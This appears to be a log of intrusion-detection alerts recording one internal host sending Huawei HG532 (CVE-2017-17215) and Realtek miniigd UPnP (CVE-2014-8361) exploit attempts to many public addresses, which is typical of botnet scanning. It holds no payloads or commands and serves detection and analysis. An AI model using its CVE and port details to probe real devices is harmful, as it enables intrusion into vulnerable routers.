ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.38.237.179

Timestamp:	07/20/24-23:01:14.396888
SID:	2829579
Source Port:	50932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.65.233.115

Timestamp:	07/20/24-23:01:14.396852
SID:	2835222
Source Port:	52058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.200.153.251

Timestamp:	07/20/24-23:01:05.901568
SID:	2835222
Source Port:	52910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.206.61.138

Timestamp:	07/20/24-23:01:11.481655
SID:	2835222
Source Port:	54620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 181.57.234.228

Timestamp:	07/20/24-23:01:34.920870
SID:	2027339
Source Port:	45056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.171.242.198

Timestamp:	07/20/24-23:01:11.461509
SID:	2829579
Source Port:	34260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.83.41.154

Timestamp:	07/20/24-23:01:14.400300
SID:	2829579
Source Port:	47980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 112.133.158.101

Timestamp:	07/20/24-23:01:28.180178
SID:	2835222
Source Port:	35960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.198.171.240

Timestamp:	07/20/24-23:01:05.895886
SID:	2835222
Source Port:	51024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.149.237.12

Timestamp:	07/20/24-23:01:19.221962
SID:	2835222
Source Port:	60376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.108.206.182

Timestamp:	07/20/24-23:01:02.409131
SID:	2829579
Source Port:	37444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 5.217.173.216

Timestamp:	07/20/24-23:01:13.329789
SID:	2027339
Source Port:	49504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 35.151.246.95

Timestamp:	07/20/24-23:01:33.901971
SID:	2027339
Source Port:	56512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.59.41.138

Timestamp:	07/20/24-23:01:37.231056
SID:	2829579
Source Port:	36618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.70.43.24

Timestamp:	07/20/24-23:01:02.412791
SID:	2829579
Source Port:	58652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 171.144.139.139

Timestamp:	07/20/24-23:01:06.557950
SID:	2027339
Source Port:	38224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.113.14.57

Timestamp:	07/20/24-23:01:25.230811
SID:	2835222
Source Port:	54042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.37.56.19

Timestamp:	07/20/24-23:01:05.904128
SID:	2835222
Source Port:	47138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.175.38.165

Timestamp:	07/20/24-23:01:25.280228
SID:	2835222
Source Port:	60350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.166.20.130

Timestamp:	07/20/24-23:01:28.142762
SID:	2829579
Source Port:	54050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 91.137.254.120

Timestamp:	07/20/24-23:01:32.773577
SID:	2027339
Source Port:	43880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.77.27

Timestamp:	07/20/24-23:01:33.046879
SID:	2835222
Source Port:	34250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.46.64.49

Timestamp:	07/20/24-23:01:05.906603
SID:	2835222
Source Port:	40154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 113.64.11.191

Timestamp:	07/20/24-23:01:22.788405
SID:	2835222
Source Port:	58540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.97.83.71

Timestamp:	07/20/24-23:01:05.897173
SID:	2835222
Source Port:	49432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 125.128.116.127

Timestamp:	07/20/24-23:01:24.078416
SID:	2027339
Source Port:	42766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.122.199.14

Timestamp:	07/20/24-23:01:05.487437
SID:	2027339
Source Port:	54828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.5.244.222

Timestamp:	07/20/24-23:01:28.182157
SID:	2829579
Source Port:	57826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 99.58.61.9

Timestamp:	07/20/24-23:01:13.330793
SID:	2027339
Source Port:	44640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 108.190.226.99

Timestamp:	07/20/24-23:01:25.021604
SID:	2025132
Source Port:	52968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 68.93.103.227

Timestamp:	07/20/24-23:01:05.523574
SID:	2027339
Source Port:	42798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.255.176.169

Timestamp:	07/20/24-23:01:02.411166
SID:	2835222
Source Port:	35110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 213.207.143.98

Timestamp:	07/20/24-23:01:06.170284
SID:	2025132
Source Port:	50516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.136.233.151

Timestamp:	07/20/24-23:01:02.408596
SID:	2829579
Source Port:	48950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 98.20.71.159

Timestamp:	07/20/24-23:01:05.920528
SID:	2835222
Source Port:	40966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 160.160.84.223

Timestamp:	07/20/24-23:01:33.306736
SID:	2025132
Source Port:	53798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.207.13.93

Timestamp:	07/20/24-23:01:22.782671
SID:	2829579
Source Port:	60196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.191.232.175

Timestamp:	07/20/24-23:01:25.234700
SID:	2829579
Source Port:	38212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.158.191.66

Timestamp:	07/20/24-23:01:37.166003
SID:	2829579
Source Port:	43180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.112.178.52

Timestamp:	07/20/24-23:01:37.214680
SID:	2829579
Source Port:	43478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 197.75.140.61

Timestamp:	07/20/24-23:01:33.283267
SID:	2025132
Source Port:	50014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 154.234.222.130

Timestamp:	07/20/24-23:01:13.332051
SID:	2831300
Source Port:	52922
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 176.163.228.117

Timestamp:	07/20/24-23:01:29.172029
SID:	2831300
Source Port:	59840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.143.78.242

Timestamp:	07/20/24-23:01:14.397956
SID:	2835222
Source Port:	42496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 20.43.107.217

Timestamp:	07/20/24-23:01:13.329426
SID:	2831300
Source Port:	47872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 201.35.76.112

Timestamp:	07/20/24-23:01:33.100578
SID:	2829579
Source Port:	34396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 88.250.101.128

Timestamp:	07/20/24-23:01:24.749806
SID:	2025132
Source Port:	38970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 174.254.226.195

Timestamp:	07/20/24-23:01:37.160288
SID:	2829579
Source Port:	52374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.159.245.252

Timestamp:	07/20/24-23:01:07.664911
SID:	2829579
Source Port:	34432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.98.176.2

Timestamp:	07/20/24-23:01:05.920528
SID:	2835222
Source Port:	43838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 88.250.101.128

Timestamp:	07/20/24-23:01:29.179619
SID:	2831300
Source Port:	39558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 14.9.177.37

Timestamp:	07/20/24-23:01:24.432437
SID:	2025132
Source Port:	51304
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.216.107.62

Timestamp:	07/20/24-23:01:05.895754
SID:	2835222
Source Port:	49922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 184.212.2.51

Timestamp:	07/20/24-23:01:14.401421
SID:	2829579
Source Port:	46810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.172.21.48

Timestamp:	07/20/24-23:01:07.680629
SID:	2829579
Source Port:	33962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 66.46.157.85

Timestamp:	07/20/24-23:01:34.927371
SID:	2831300
Source Port:	42824
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.204.163.81

Timestamp:	07/20/24-23:01:22.788405
SID:	2829579
Source Port:	44122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 76.61.195.47

Timestamp:	07/20/24-23:01:34.923716
SID:	2027339
Source Port:	58860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.163.126

Timestamp:	07/20/24-23:01:19.231228
SID:	2829579
Source Port:	35594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 115.207.235.241

Timestamp:	07/20/24-23:01:32.779683
SID:	2027339
Source Port:	38948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.173.59.248

Timestamp:	07/20/24-23:01:07.679354
SID:	2829579
Source Port:	40060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.32.122.10

Timestamp:	07/20/24-23:01:34.958933
SID:	2027339
Source Port:	57636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 200.181.183.183

Timestamp:	07/20/24-23:01:13.329544
SID:	2831300
Source Port:	44450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.90.192.107

Timestamp:	07/20/24-23:01:11.448569
SID:	2835222
Source Port:	40356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 111.101.129.102

Timestamp:	07/20/24-23:01:25.234700
SID:	2829579
Source Port:	40030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 152.149.61.199

Timestamp:	07/20/24-23:01:06.208261
SID:	2027339
Source Port:	47808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 64.61.21.55

Timestamp:	07/20/24-23:01:13.334387
SID:	2831300
Source Port:	48608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 84.167.36.221

Timestamp:	07/20/24-23:01:24.075564
SID:	2831300
Source Port:	56036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.248.165.153

Timestamp:	07/20/24-23:01:05.897173
SID:	2829579
Source Port:	50408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.70.127.19

Timestamp:	07/20/24-23:01:05.902118
SID:	2829579
Source Port:	54668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.228.92.249

Timestamp:	07/20/24-23:01:23.184455
SID:	2829579
Source Port:	60162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.117.157.2

Timestamp:	07/20/24-23:01:06.535488
SID:	2027339
Source Port:	58016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.188.132.33

Timestamp:	07/20/24-23:01:11.461274
SID:	2829579
Source Port:	49370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.232.171.237

Timestamp:	07/20/24-23:01:37.122448
SID:	2829579
Source Port:	58556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.90.51.53

Timestamp:	07/20/24-23:01:37.166003
SID:	2829579
Source Port:	34842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 156.230.140.45

Timestamp:	07/20/24-23:01:05.807426
SID:	2027339
Source Port:	38754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.145.54.99

Timestamp:	07/20/24-23:01:22.786757
SID:	2829579
Source Port:	39220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.102.88.79

Timestamp:	07/20/24-23:01:05.906603
SID:	2829579
Source Port:	39680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 162.227.65.152

Timestamp:	07/20/24-23:01:11.467529
SID:	2829579
Source Port:	50608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 188.154.109.67

Timestamp:	07/20/24-23:01:13.331934
SID:	2831300
Source Port:	46390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 222.151.202.253

Timestamp:	07/20/24-23:01:13.333560
SID:	2831300
Source Port:	58816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 90.194.101.115

Timestamp:	07/20/24-23:01:28.143148
SID:	2835222
Source Port:	50486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.138.28.9

Timestamp:	07/20/24-23:01:05.895886
SID:	2829579
Source Port:	50246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 2.153.113.72

Timestamp:	07/20/24-23:01:29.172557
SID:	2027339
Source Port:	37482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.184.132.63

Timestamp:	07/20/24-23:01:33.069192
SID:	2835222
Source Port:	36232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.157.192.147

Timestamp:	07/20/24-23:01:22.777005
SID:	2829579
Source Port:	59040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.193.161.30

Timestamp:	07/20/24-23:01:37.121609
SID:	2829579
Source Port:	36778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 52.221.200.218

Timestamp:	07/20/24-23:01:25.002701
SID:	2027339
Source Port:	47890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 71.136.139.92

Timestamp:	07/20/24-23:01:29.672048
SID:	2025132
Source Port:	55654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.92.46.65

Timestamp:	07/20/24-23:01:02.411645
SID:	2829579
Source Port:	40624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.32.58.72

Timestamp:	07/20/24-23:01:05.895933
SID:	2829579
Source Port:	37054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.187.174.249

Timestamp:	07/20/24-23:01:37.124220
SID:	2835222
Source Port:	52052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 201.188.111.248

Timestamp:	07/20/24-23:01:29.170362
SID:	2831300
Source Port:	47508
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 144.32.157.121

Timestamp:	07/20/24-23:01:34.923716
SID:	2831300
Source Port:	47506
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.101.89.22

Timestamp:	07/20/24-23:01:14.487012
SID:	2829579
Source Port:	43432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 94.45.75.174

Timestamp:	07/20/24-23:01:29.189808
SID:	2027339
Source Port:	54188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.69.237.0

Timestamp:	07/20/24-23:01:13.329793
SID:	2027339
Source Port:	55518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.242.103.0

Timestamp:	07/20/24-23:01:19.231228
SID:	2835222
Source Port:	46576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.174.229.65

Timestamp:	07/20/24-23:01:25.298710
SID:	2829579
Source Port:	51308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 49.217.12.33

Timestamp:	07/20/24-23:01:13.331580
SID:	2027339
Source Port:	52870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 148.218.221.20

Timestamp:	07/20/24-23:01:29.688290
SID:	2025132
Source Port:	49438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

